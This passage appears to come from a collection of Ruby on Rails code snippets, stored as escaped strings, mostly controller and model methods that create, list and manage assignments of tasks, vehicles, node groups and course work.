NGNA to that parent was\n # created). And yes, in the time it took to write this comment I\n # probably could have written the tree walking code. :)\n node_group.all_parent_groups.each do |parent|\n logger.debug \"Checking for existing NGNA for parent #{parent.name} and vip #{vip.name}\"\n if !NodeGroupVipAssignment.exists?(:node_group_id => parent.id, :vip_id => vip.id)\n logger.debug \" No existing NGNA for parent #{parent.name} and vip #{vip.name}, creating\"\n ngna = NodeGroupVipAssignment.new(:node_group_id => parent.id, :vip_id => vip.id, :virtual_assignment => true)\n if !ngna.save\n logger.debug \" Save of new NGNA failed\"\n return false\n end\n end\n end\n end", "def create_assignment(name)\n @url = \"http://#{$canvas_host}/api/v1/courses/#{$canvas_course_id}/assignments\"\n puts \"@url is #{@url}\"\n\n @payload={'assignment': { \n 'name': name,\n 'points_possible': '0',\n 'grading_type': 'pass_fail',\n 'published': 'true',\n 'submission_types': [ \"none\" ]\n }\n }\n\n @postResponse = HTTParty.post(@url, :body => @payload.to_json, :headers => $header )\n puts(\" POST to create assignment has Response.code #{@postResponse.code} and postResponse is #{@postRepsone}\")\nend", "def create\n\t\t@activities = params[:guest][:activity_ids]\n assignment = Assignment.new(params[:guest_id], params[:activity_id])\n\n @activities.each do |a|\n if a != \"\"\n @assignment = Assignment.create(:guest_id => params[:assignments][:guest_id], :activity_id => a)\n # assigned_activity = Assignment.create(:guest_id => params[:guest_id], :activity_id => params[:activity_id])\n end\n end\n\n if @assignment.save\n flash[:notice] = \"Activity assigned.\"\n redirect_to guests_path\n else \n @message = \"Activity not assigned.\"\n end\n\n # redirect_to guests_path\n end", "def create\n @vehicle_assignment = VehicleAssignment.new(vehicle_assignment_params)\n\n respond_to do |format|\n if @vehicle_assignment.save\n format.html { redirect_to @vehicle_assignment, notice: (t 'vehicle_assignments.title')+(t 'actions.created') }\n format.json { render action: 'show', status: :created, location: @vehicle_assignment }\n else\n format.html { render action: 'new' }\n format.json { render json: @vehicle_assignment.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @task = Task.find(params[:task_id])\n @assignment = @task.assignments.build(params[:assignment])\n\n respond_to do |format|\n if @assignment.save\n flash[:notice] = 'The assignment was successfully created.'\n format.html { redirect_to project_task_path(@task.project, @task)}\n format.xml { render :xml => @assignment, :status => :created, :location => @assignment }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @assignment.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @assignment = current_user.created_assignments.create(assignment_params)\n @assignment.subtasks.create(params[:assignment][:subtask])\n respond_to do |format|\n if @assignment.save\n AssignmentsWorker.delay.perform(current_user.id)\n format.html { redirect_to @assignment, notice: 'Assignment was successfully created.' }\n format.json { render json: @assignment, status: :created, location: @assignment }\n else\n format.html { render action: \"new\" }\n format.json { render json: @assignment.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @assignment = @user.assignments.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @assignment }\n end\n end", "def assignment_params\n params.require(:assignment).permit(:name, :start_date, :end_date, :point, :course_instance_id, :status, :max_attempt)\n end", "def new\n @task = Task.find(params[:task_id])\n @project = @task.project\n @assignment = @task.assignments.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @assignment }\n end\n end", "def new\n @task = Task.new\n 3.times{@task.assignments.build}\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @task }\n end\n end", "def set_nodes(nodeids)\n # Have to be careful here to handle existing virtual assignments\n # properly. If the user has specified a new node and there's an\n # existing virtual assignment we need to convert that into a real\n # assignment. And when removing nodes that the user didn't\n # specify we don't want to remove virtual assignments.\n \n # First ensure that all of the specified assignments exist\n new_assignments = []\n nodeids.each do |nodeid|\n node = Node.find(nodeid)\n if !node.nil?\n assignment = NodeGroupNodeAssignment.find_by_node_group_id_and_node_id(id, nodeid)\n if assignment.nil?\n assignment = NodeGroupNodeAssignment.new(:node_group_id => id,\n :node_id => nodeid)\n new_assignments << assignment\n elsif assignment.virtual_assignment?\n assignment.update_attributes(:virtual_assignment => false)\n end\n end\n end\n \n # Save any new assignments\n node_assignment_save_successful = true\n new_assignments.each do |assignment|\n if !assignment.save\n node_assignment_save_successful = false\n # Propagate the error from the assignment to ourself\n # so that the user gets some feedback as to the problem\n assignment.errors.each_full { |msg| errors.add(:node_ids, msg) }\n end\n end\n \n # Now remove any existing assignments that weren't specified\n node_group_node_assignments.each do |assignment|\n if !nodeids.include?(assignment.node_id) && !assignment.virtual_assignment?\n assignment.destroy\n end\n end\n \n node_assignment_save_successful\n end", "def assignment_params\n params.require(:assignment).permit(:name, :due_at, :activity_id, :category_id, :status, :is_completed, user_ids: [])\n end", "def index\n @assignments = @user.assignments\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @assignments }\n end\n end", "def update\n @virtual_assignment = @object\n vmhost = @virtual_assignment.parent\n return unless filter_perms(@auth,vmhost,['updater'])\n vmguest = @virtual_assignment.child\n return unless filter_perms(@auth,vmguest,['updater'])\n\n respond_to do |format|\n if @virtual_assignment.update_attributes(params[:virtual_assignment])\n flash[:notice] = 'VirtualAssignment was successfully updated.'\n format.html { redirect_to virtual_assignment_url(@virtual_assignment) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @virtual_assignment.errors.to_xml, :status => :unprocessable_entity }\n end\n end\n end", "def assignment_params\n params.require(:assignment).permit(:inspector_id, :inspection_id, :scheduled_for)\n end", "def run_intelligent_assignment\n priority_info = []\n assignment = Assignment.find_by(id: params[:id])\n topics = assignment.sign_up_topics\n teams = assignment.teams\n teams.each do |team|\n # grab student id and list of bids\n bids = []\n topics.each do |topic|\n bid_record = Bid.find_by(team_id: team.id, topic_id: topic.id)\n bids << (bid_record.nil? ? 0 : bid_record.priority ||= 0)\n end\n team.users.each {|user| priority_info << {pid: user.id, ranks: bids} if bids.uniq != [0] }\n end\n data = {users: priority_info, max_team_size: assignment.max_team_size}\n url = WEBSERVICE_CONFIG[\"topic_bidding_webservice_url\"]\n begin\n response = RestClient.post url, data.to_json, content_type: :json, accept: :json\n # store each summary in a hashmap and use the question as the key\n teams = JSON.parse(response)[\"teams\"]\n create_new_teams_for_bidding_response(teams, assignment)\n run_intelligent_bid(assignment)\n rescue StandardError => err\n flash[:error] = err.message\n end\n redirect_to controller: 'tree_display', action: 'list'\n end", "def approve\n registration = Registration.find(params[:id])\n if (params[:assigned_points].present? || registration.evidence.points)\n registration.update(assigned_points: params[:assigned_points])\n registration.update(approved: true)\n end\n redirect_to :registrations\n end", "def new\n @cim_hrdb_person = Person.find(params[:cim_hrdb_person_id])\n @cim_hrdb_assignment = @cim_hrdb_person.assignments.build(:person_id => params[:cim_hrdb_person_id])\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @assignment }\n end\n end", "def create\n @task_assignment = TaskAssignment.new(params[:task_assignment])\n \n respond_to do |format|\n if @task_assignment.save\n format.html { redirect_to(@task_assignment, :notice => 'Task assignment was successfully created.') }\n format.xml { render :xml => @task_assignment, :status => :created, :location => @task_assignment }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @task_assignment.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @assignment = Assignment.new(assignment_params)\n @assignment.creator_id = current_user.id\n\n # THIS IS ONLY FOR CREATING ASSIGNMENT FOR THE VERY FIRST TIME\n # if users wants to add more users to this, edit should be used and user_assignment_controller for it\n respond_to do |format|\n if @assignment.save\n current_user.assignments << @assignment\n @assignment.update_attribute(:is_done, false)\n @assignment.user_assignments.first.update_attribute(:assignment_id, @assignment.id) # for each?\n format.html { redirect_to current_user, notice: 'Assignment was successfully created.' }\n format.json { render :show, status: :created, location: @assignment }\n else\n format.html { redirect_to :back }\n format.json { render json: @assignment.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @assigned = Assigned.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @assigned }\n end\n end", "def create\n unless current_user.assignments.find_by(id: params[:assignment_id])\n render json: format_errors({ assignment_id: [\"is not one of current user's assignments\"] }),\n status: :forbidden\n return\n end\n\n @iteration = Iteration.create(iteration_params)\n\n if @iteration.save\n render json: @iteration, status: :created\n else\n render json: format_errors(@iteration.errors),\n status: :unprocessable_entity\n end\n end", "def save_assignments\n csids = self.assigned_to_ids\n klass = self.is_annotation? ? 'Annotation' : self.class.name\n unless csids.nil?\n new_ids = csids.to_s.split(',').map(&:to_i)\n current_ids = self.reload.assignments.map(&:user_id)\n to_create = new_ids - current_ids\n to_delete = current_ids - new_ids\n to_delete.each do |id|\n Assignment.where(assigned_type: klass, assigned_id: self.id, user_id: id).last.destroy!\n end\n to_create.each do |id|\n Assignment.create!(assigned_type: klass, assigned_id: self.id, user_id: id, message: self.assignment_message)\n end\n # Save the assignment details to send them as Slack notifications\n self.instance_variable_set(\"@assignment\", { to_create: to_create, to_delete: to_delete }) unless to_delete.blank? and to_create.blank?\n end\n end", "def create\n params[:submission][:verdict] = 'pending'\n create_base(params[:submission]) \n end", "def vehicle_assignment_params\n params.require(:vehicle_assignment).permit(:document_code, :document_date, :authorised_by, :authorising_unit, :unit_id,:authoriser_staff_details, vehicle_assignment_details_attributes: [:id, :vehicle_id, :staff_id, :assigned_on, :assignment_end, :release_no, :release_type, :remark])\n end", "def goto_assignments\n goto_controller('Assignments')\n end", "def assignment_params\n params.require(:assignment).permit(:name, :is_done, :deadline, :group_id, user_assignments_attributes: [:user_id])\n end", "def create\n authorize! :create, Assignment\n @assignment = Assignment.new(assignment_params)\n @assignment.task = @task\n # @assignment.creator = current_user\n # @task.work = @work\n\n respond_to do |format|\n if @assignment.save!\n format.html { redirect_to project_task_assignments_path(@project,@task), notice: 'Assignment was successfully created.' }\n format.json { render action: 'show', status: :created, location: project_task_assignments_url(@project,@task) }\n else\n set_users\n @url = project_task_assignments_path(@project,@task)\n format.html { render action: 'new' }\n format.json { render json: @assignment.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n if @project.round_begin?\n return render json: {error: 'You cannot change assignments after a round begins'}, status: :unprocessable_entity \n end\n\n requests = params[:list] || []\n assigns = @project.assigns.map{|a| \"#{a.document_id}-#{a.user_id}\"}\n\n insertSet = requests - assigns\n deleteSet = assigns - requests\n\n success = false \n insert_values = insertSet.map do |id|\n ids = id.split('-')\n pu = @project.project_users.where('user_id=?', ids[1].to_i).first\n \"(#{pu.id}, #{@project.id}, #{ids[0].to_i}, #{ids[1].to_i}, NOW(), NOW())\"\n end\n delete_values = deleteSet.map do |id|\n ids = id.split('-')\n \"(#{@project.id}, #{ids[0].to_i}, #{ids[1].to_i})\"\n end\n Assign.transaction do \n ActiveRecord::Base.connection.execute(\"\n INSERT INTO assigns(project_user_id, project_id, document_id, user_id, created_at, updated_at) VALUES #{insert_values.join(',')}\n \") unless insert_values.empty?\n\n ActiveRecord::Base.connection.execute(\"\n DELETE FROM assigns WHERE (project_id, document_id, user_id) IN (#{delete_values.join(',')})\n \") unless delete_values.empty?\n\n ActiveRecord::Base.connection.execute(\"\n UPDATE projects\n SET \n assigns_count = (SELECT count(1) FROM assigns WHERE assigns.project_id = projects.id)\n WHERE\n projects.id = #{@project.id}\n \")\n ActiveRecord::Base.connection.execute(\"\n UPDATE documents\n SET \n assigns_count = (SELECT count(1) FROM assigns WHERE assigns.document_id = documents.id)\n WHERE\n documents.project_id = #{@project.id}\n \")\n @project = Project.find(@project.id)\n success = true\n end\n # @assign = Assign.new(assign_params)\n\n respond_to do |format|\n if success\n format.html { redirect_to @assign, notice: 'Assign was successfully created.' }\n format.json { render json: {project: @project} }\n else\n format.html { render :new }\n format.json { render json: @assign.errors, status: :unprocessable_entity }\n end\n end\n end", "def assignment_params\n params.require(:assignment).permit(:metric_id, :test_id, :test_slot)\n end", "def run_intelligent_assignment\n assignment = Assignment.find(params[:id])\n teams = assignment.teams\n\n users_bidding_info = construct_users_bidding_info(assignment.sign_up_topics, teams)\n bidding_data = { users: users_bidding_info, max_team_size: assignment.max_team_size }\n ExpertizaLogger.info LoggerMessage.new(controller_name, session[:user].name, \"Bidding data for assignment #{assignment.name}: #{bidding_data}\", request)\n\n begin\n url = WEBSERVICE_CONFIG['topic_bidding_webservice_url']\n response = RestClient.post url, bidding_data.to_json, content_type: :json, accept: :json\n # Structure of teams variable: [[user_id1, user_id2], [user_id3, user_id4]]\n teams = JSON.parse(response)['teams']\n ExpertizaLogger.info LoggerMessage.new(controller_name, session[:user].name, \"Team formation info for assignment #{assignment.name}: #{teams}\", request)\n create_new_teams_for_bidding_response(teams, assignment, users_bidding_info)\n assignment.remove_empty_teams\n match_new_teams_to_topics(assignment)\n rescue StandardError => e\n flash[:error] = e.message\n end\n\n redirect_to controller: 'tree_display', action: 'list'\n end", "def set_assigned\n @assigned = Assigned.find(params[:id])\n end", "def send_evaluate_prop\n task = @proposal.evaluate_proposals.create\n task.workbench = Organization.find params[:organization][:organization_id]\n task.save\n redirect_to :action => \"pending\"\n end", "def assignments=(value)\n @assignments = value\n end", "def assignments=(value)\n @assignments = value\n end", "def assignments=(value)\n @assignments = value\n end", "def assignments=(value)\n @assignments = value\n end", "def assignments=(value)\n @assignments = value\n end", "def set_vehicle_assignment\n @vehicle_assignment = VehicleAssignment.find(params[:id])\n end", "def create\n @assignment = Assignment.new(assignment_params)\n @plan = Plan.find(params[:plan_id])\n @assignment.plan_id = @plan.id\n respond_to do |format|\n if @assignment.save\n format.html { redirect_to plan_path(@plan), notice: 'Assignment was successfully created.' }\n format.json { render :show, status: :created, location: @assignment }\n else\n format.html { render :new }\n format.json { render json: @assignment.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @assignment_special_assignment = Assignment::SpecialAssignment.new(params[:assignment_special_assignment])\n\n respond_to do |format|\n if @assignment_special_assignment.save\n format.html { redirect_to @assignment_special_assignment, notice: 'Special assignment was successfully created.' }\n format.json { render json: @assignment_special_assignment, status: :created, location: @assignment_special_assignment }\n else\n format.html { render action: \"new\" }\n format.json { render json: @assignment_special_assignment.errors, status: :unprocessable_entity }\n end\n end\n end", "def add_to_database\n Partner.add({\"assignment_id\" => \"#{self.assignment_id}\", \"name_worked\" => \"#{self.name_worked}\"})\n end", "def create\n @assignmentstatus = Assignmentstatus.new(params[:assignmentstatus])\n\n respond_to do |format|\n if @assignmentstatus.save\n flash[:notice] = 'Assignment status was successfully created.'\n format.html { redirect_to(@assignmentstatus) }\n format.xml { render :xml => @assignmentstatus, :status => :created, :location => @assignmentstatus }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @assignmentstatus.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @task_assignment = TaskAssignment.new(task_assignment_params)\n\n respond_to do |format|\n if @task_assignment.save\n format.html { redirect_to @task_assignment, notice: 'Task assignment was successfully created.' }\n format.json { render :show, status: :created, location: @task_assignment }\n else\n format.html { render :new }\n format.json { render json: @task_assignment.errors, status: :unprocessable_entity }\n end\n end\n end", "def goto_assignments\n node_object = TreeFolder.find_by_name('Assignments')\n session[:root] = FolderNode.find_by_node_object_id(node_object.id).id\n redirect_to controller: 'tree_display', action: 'list'\n end", "def create\n @assignment = Assignment.new(assignment_params)\n @users = User.all\n @resources = Resource.all\n\n respond_to do |format|\n if @assignment.save\n format.html { redirect_to @assignment, notice: 'Assignment was successfully created.' }\n format.json { render :show, status: :created, location: @assignment }\n else\n format.html { render :new }\n format.json { render json: @assignment.errors, status: :unprocessable_entity }\n end\n end\n end", "def assignments; end", "def assignment_params\n params.require(:assignment).permit(:ref_id, :qty)\n end", "def create_with_http_info(policy_activity_id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: DriverAssignmentsApi.create ...'\n end\n # verify the required parameter 'policy_activity_id' is set\n if @api_client.config.client_side_validation && policy_activity_id.nil?\n fail ArgumentError, \"Missing the required parameter 'policy_activity_id' when calling DriverAssignmentsApi.create\"\n end\n # resource path\n local_var_path = '/v1/policy_activities/{policyActivityId}/driverassignments'.sub('{' + 'policyActivityId' + '}', policy_activity_id.to_s)\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json-patch+json', 'application/json', 'text/json', 'application/*+json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] || @api_client.object_to_http_body(opts[:'driver_assignment'])\n auth_names = opts[:auth_names] || ['Bearer']\n\n # return_type\n return_type = opts[:return_type] || 'DriverAssignment'\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type)\n\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DriverAssignmentsApi#create\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def create\n @task = Task.new(params[:task])\n respond_to do |format|\n if @task.save\n @del = Delegation.find_by_user_id(params[:user][:id])\n @task.assignments.each do|a|\n a.update_attribute(:delegation_id,@del.id) unless @del.nil?\n end\n format.html { redirect_to @task, notice: 'Task was successfully created.' }\n format.json { render json: @task, status: :created, location: @task }\n else\n format.html { render action: \"new\" }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end", "def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_collection_of_object_values(\"assignments\", @assignments)\n writer.write_boolean_value(\"isAssigned\", @is_assigned)\n end", "def assign\n\n\t@id=params[:id]\n\t@schedule=Schedule.find(@id)\n\tif @schedule.nil?\n\t\tflash[:notice]=\"No schedule by the name: \" && params[:schedule]\n\t\t@schedule=Schedule.last\n\t\treturn\n\tend\n\t@[email protected]\n\tif @area.nil?\n\t\tflash[:error]=\"No area set for the schedule\"\n\t\treturn\n\tend\n\t@[email protected]_a\n\t@[email protected]_a\n\tif @volunteers.empty?\n\t\tflash[:error]=\"No volunteers for this area. Please edit some volunteers.\"\n\t\treturn\n\tend\n\ttaskData=session[:taskData]\n\tif !taskData.nil?\n\t\tflash[:error]=\"Save failed. Logout and restart browser\"\n\tend\n\t@pending=taskData\n\tif request.post?\n\t\t@volunteer = Volunteer.find(params[:vol])\n\telse\n\t\t@volunteer=Volunteer.find(session[:update_vol]) if session[:update_vol]\n\t\[email protected]\n\t\t@volunteer=nil if (varea.nil?||(varea.id != @area.id))\n\tend\t\n\t\n\tif @volunteer.nil? \n\t\t@volunteer=@volunteers[0]||Volunteer.find(2)\n\tend\n\t@[email protected]\n\tsession[:update_vol][email protected]\n\t\n\t@[email protected]_by{|x| x.start.day}\n\t@locations=Location.where(:area_id => @schedule.area_id)\n\t@[email protected] + 1\n\t# count the total number of shifts assigned in the schedule\n\t@assigned=Hash.new 0\n\tvol_shifts=Hash.new []\n\tputs \"shift size *** \"[email protected]_s\n\[email protected] do |s|\n\t\tv=s.volunteer_id\n\t\tif !v.nil?\n\t\t@assigned[v]+=1\n\t\tvol_shifts[v] << s.id\n\t\tend\n\tend\n\t@n_shifts=@assigned[@volunteer.id]\n\t@n_assigned = @assigned.values.sum\n\t#\n\t# get signed up volunteers by year, get all volunteers in an area\n\t# intersection is the list of volunteers for that schedule\n\tvol_by_year=Signup.where(:year => @schedule.year).map{|x| x.volunteer_id}\n\t [email protected]{|x| x.id}\n\t vols=vol_by_year & vol_by_area\n\t@arvols=Volunteer.find(vols)\n\t@[email protected]{|i| [i.id, i.name, @assigned[i.id]||0, i.signups.last.early, i.restrictions]}\n\t@[email protected]{|i| [i.name, i.id]}\n end", "def POST; end", "def show\n @virtual_assignment = @object\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @virtual_assignment.to_xml(:dasherize => false) }\n end\n end", "def assignment_params\n params.require(:assignment).permit(\n :user_id, :campaign_id, :date, :status, :city_id, :comments, :report,\n :lines_attributes => [\n :line, :confirmed_street_name\n ]\n )\n end", "def assignment_params\n params.require(:assignment).permit(:no, :reference, :text, :status_id, :duedate, :user_id, :comment, :community_id, :assignment_status_id, :close_date)\n end", "def task_assignments\n @task_assignments ||= Harvest::API::TaskAssignments.new(credentials)\n end", "def create\n @roles_assignment = RolesAssignment.new(roles_assignment_params)\n\n respond_to do |format|\n if @roles_assignment.save\n format.html { redirect_to @roles_assignment, notice: 'Roles assignment was successfully created.' }\n format.json { render :show, status: :created, location: @roles_assignment }\n else\n format.html { render :new }\n format.json { render json: @roles_assignment.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @activity_participant_assignment = ActivityParticipantAssignment.new(activity_participant_assignment_params)\n\n respond_to do |format|\n if @activity_participant_assignment.save\n format.html { redirect_to @activity_participant_assignment, notice: 'Activity participant assignment was successfully created.' }\n format.json { render :show, status: :created, location: @activity_participant_assignment }\n else\n format.html { render :new }\n format.json { render json: @activity_participant_assignment.errors, status: :unprocessable_entity }\n end\n end\n end", "def assigned=(value)\n @data['assigned_id'] = set_reference('Person', value).id\n end", "def coursenode_assignmentnode(res2, child)\n res2['directory'] = child.get_directory\n instructor_id = child.get_instructor_id\n update_instructor(res2, instructor_id)\n update_is_available_2(res2, instructor_id, child)\n assignments_method(child, res2) if child.type == 'AssignmentNode'\n end", "def coursenode_assignmentnode(res2, child)\n res2[\"directory\"] = child.get_directory\n instructor_id = child.get_instructor_id\n update_instructor(res2, instructor_id)\n update_is_available_2(res2, instructor_id, child)\n assignments_method(child, res2) if child.type == \"AssignmentNode\"\n end", "def create\n @organization = Organization.new(organization_params)\n @organization.assignments << Assignment.new({user: current_user, organization: @organization, is_admin: true, is_active: true})\n\n respond_to do |format|\n if @organization.save\n format.html { redirect_to @organization, notice: 'Organization was successfully created.' }\n format.json { render :show, status: :created, location: @organization }\n else\n format.html { render :new }\n format.json { render json: @organization.errors, status: :unprocessable_entity }\n end\n end\n end", "def view\n @subject = Subject.find(params[:id])\n @assignments = @subject.assignments.limit(10).reverse_order\n @new_assign = @subject.assignments.build\n @subject_id = @subject.id\n @adate = @subject.get_next_assignment_date\n\n respond_with(@assignments, @new_assign, @subject_id, @adate)\n end", "def make_assignments(assigned_questions)\n assigned_questions.each do |question|\n existing_assignment = Assignment.find_by_user_id_and_question_id(self.id,question.id)\n if existing_assignment == nil\n Assignment.create(:question_id => question.id , :user_id => self.id)\n end\n end\n end", "def assignment_requests=(value)\n @assignment_requests = value\n end", "def create\n @cim_hrdb_assignment = Assignment.new(params[:assignment])\n @cim_hrdb_assignment.person_id = params[:cim_hrdb_person_id]\n\n respond_to do |format|\n if @cim_hrdb_assignment.save\n flash[:notice] = 'Assignment was successfully created.'\n format.html { redirect_to(edit_cim_hrdb_person_path(@cim_hrdb_assignment.person)) }\n format.xml { render :xml => @cim_hrdb_assignment, :status => :created, :location => @cim_hrdb_assignment }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @cim_hrdb_assignment.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @techers_assignment = TechersAssignment.new(techers_assignment_params)\n\n respond_to do |format|\n if @techers_assignment.save\n format.html { redirect_to @techers_assignment, notice: 'Techers assignment was successfully created.' }\n format.json { render :show, status: :created, location: @techers_assignment }\n else\n format.html { render :new }\n format.json { render json: @techers_assignment.errors, status: :unprocessable_entity }\n end\n end\n end", "def proxy_votes_collected_params\n params.require(:proxy_votes_collected).permit(:annual_meeting_id, :building_id, :user_id, :votes_collected)\n end", "def assign\n\t\tself.status = :assigned\n\tend", "def create\n @ppt_class = PptClass.new(params[:ppt_class])\n params[:ppt_class][:assigned_ppt_node_hq_server] ||= {}\n params[:ppt_class][:assigned_ppt_node_hq_vserver] ||= {}\n \n respond_to do |format|\n if @ppt_class.save\n flash[:notice] = 'Puppet Class was successfully created.'\n format.html { redirect_to :action => :index }\n format.xml { render :xml => @ppt_class, :status => :created, :location => @ppt_class }\n else\n messages = '<ul>Error:'\n @ppt_class.errors.full_messages.each {|msg| messages += '<li>'+msg+'</li>'}\n messages += '</ul>'\n flash[:notice] = messages\n format.html { redirect_to :action => \"new\", :template => 'reflected/new' }\n format.xml { render :xml => @ppt_class.errors, :status => :unprocessable_entity }\n end\n end\n end", "def vig_params\n params.require(:vig).permit(:name, :date, :test_ids=>[])\n end", "def assigment\n @assignment = Assignment.new(params[:assignment])\n @asset = Asset.new(params[:asset])\n\n if @assignment.save\n\n @delivery_from_assignment = Delivery.find(@assignment.delivery)\n\n @delivery_from_assignment.evaluation_criteria.each do |generate_rubres|\n @response_to_the_evaluation = ResponseToTheEvaluation.new\n @response_to_the_evaluation.name = generate_rubres.name\n @response_to_the_evaluation.comment_for_rubre = generate_rubres.description\n @response_to_the_evaluation.assignment_id = @assignment.id\n @response_to_the_evaluation.save\n end\n end\n end", "def post(request_configuration=nil)\n request_info = self.to_post_request_information(\n request_configuration\n )\n error_mapping = Hash.new\n error_mapping[\"4XX\"] = lambda {|pn| MicrosoftGraph::Models::ODataErrorsODataError.create_from_discriminator_value(pn) }\n error_mapping[\"5XX\"] = lambda {|pn| MicrosoftGraph::Models::ODataErrorsODataError.create_from_discriminator_value(pn) }\n return @request_adapter.send_async(request_info, lambda {|pn| MicrosoftGraph::Models::EducationAssignment.create_from_discriminator_value(pn) }, error_mapping)\n end", "def new\n @task_assignment = TaskAssignment.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @task_assignment }\n end\n end", "def assignment\n # Create assignment\n Relationship.create(assignment_parameters)\n \n # Get human readable assignment values\n @assignment_parts = assign_parts(params)\n end", "def create\n @assignment_status = AssignmentStatus.new(params[:assignment_status])\n\n respond_to do |format|\n if @assignment_status.save\n format.html { redirect_to @assignment_status, notice: 'Assignment status was successfully created.' }\n format.json { render json: @assignment_status, status: :created, location: @assignment_status }\n else\n format.html { render action: \"new\" }\n format.json { render json: @assignment_status.errors, status: :unprocessable_entity }\n end\n end\n end", "def make_assignments(assigned_users)\n assigned_users.each do |user|\n existing_assignment = Assignment.find_by_user_id_and_question_id(user.id,self.id)\n Assignment.create(:user_id => user.id , :question_id => self.id)if existing_assignment == nil\n end \n end", "def assign_agent\n assigned_user = User.find(params[:assigned_user_id])\n # @topics = Topic.where(id: params[:topic_ids])\n bulk_post_attributes = []\n unless params[:assigned_user_id].blank?\n #handle array of topics\n @topics.each do |topic|\n # if message was unassigned previously, use the new assignee\n # this is to give note attribution below\n previous_assigned_id = topic.assigned_user_id || params[:assigned_user_id]\n bulk_post_attributes << {body: I18n.t(:assigned_message, assigned_to: assigned_user.name), kind: 'note', user_id: previous_assigned_id, topic_id: topic.id}\n\n # Calls to GA\n tracker(\"Agent: #{current_user.name}\", \"Assigned to #{assigned_user.name.titleize}\", @topic.to_param, 0)\n end\n end\n\n @topics.bulk_agent_assign(bulk_post_attributes, assigned_user.id) if bulk_post_attributes.present?\n\n if params[:topic_ids].count > 1\n get_tickets_by_status\n else\n @topic = Topic.find(@topics.first.id)\n @posts = @topic.posts.chronologic\n end\n\n logger.info(\"Count: #{params[:topic_ids].count}\")\n\n fetch_counts\n get_all_teams\n get_tickets_by_status\n flash[:notice] = I18n.t(:assigned_message, assigned_to: assigned_user.name)\n\n respond_to do |format|\n format.html #render action: 'ticket', id: @topic.id\n format.js {\n if params[:topic_ids].count > 1\n get_tickets_by_status\n render 'index'\n else\n render 'update_ticket', id: @topic.id\n end\n }\n end\n end", "def user_permission_set_assignments(id:, **args)\n params = parameters(args) do\n optional_params :start, :limit\n end\n request(:get, \"users/#{id}/permissionSetAssignments\", params)\n end", "def assign(virtual_machine_id, options = {})\n response = request(:post, \"/virtual_machines/#{virtual_machine_id}/ip_addresses.json\", default_params(options))\n response['ip_address_join']\n end", "def vig_params\n params.require(:vig).permit(:name, :date, :test_ids=>[])\n end", "def assignment_params\n\t\tparams.require(:assignment).permit(:timeslot_id, :boat_id)\n\tend", "def create\n p = prediction_params\n\n p[:tags] = [p[:tags]]\n puts \"BLAH\"\n puts p\n @prediction = current_user.predictions.create(p)\n respond_to do |format|\n if @prediction.save\n format.html { redirect_to action: 'index' }\n format.json { render action: 'show', status: :created, location: @prediction }\n else\n format.html { render action: 'new' }\n format.json { render json: @prediction.errors, status: :unprocessable_entity }\n end\n end\n end", "def assignment_params\n params.require(:assignment).permit(:game_id, :employee_id, :role)\n end", "def create\n @volunteer = Volunteer.new(params[:volunteer])\n @volunteer.status = \"New\"\n \n respond_to do |format|\n if @volunteer.save\n @volunteer.orientation.numCurrParticipant = @volunteer.orientation.numCurrParticipant + 1\n\[email protected]\n format.html { \n redirect_to @volunteer, \n notice: \"Volunteer was successfully created.\" }\n format.json { \n render json: @volunteer, status: :created, location: @volunteer }\n else\n format.html { render action: \"new\" }\n format.json { \n render json: @volunteer.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @task_assignments = TaskAssignment.all\n end", "def create\n @assigned_owner = AssignedOwner.new(assigned_owner_params)\n\n respond_to do |format|\n if @assigned_owner.save\n format.html { redirect_to @assigned_owner, notice: 'Assigned owner was successfully created.' }\n format.json { render :show, status: :created, location: @assigned_owner }\n else\n format.html { render :new }\n format.json { render json: @assigned_owner.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @assignment = Assignment.new(params[:assignment])\n\n respond_to do |format|\n if @assignment.save\n format.html { redirect_to @assignment, :notice => 'Assignment was successfully created.' }\n format.json { render :json => @assignment, :status => :created, :location => @assignment }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @assignment.errors, :status => :unprocessable_entity }\n end\n end\n end", "def test_process_assignments\n \n board_prep_sections = [oi_category_sections(:board_prep_1),\n oi_category_sections(:board_prep_2),\n 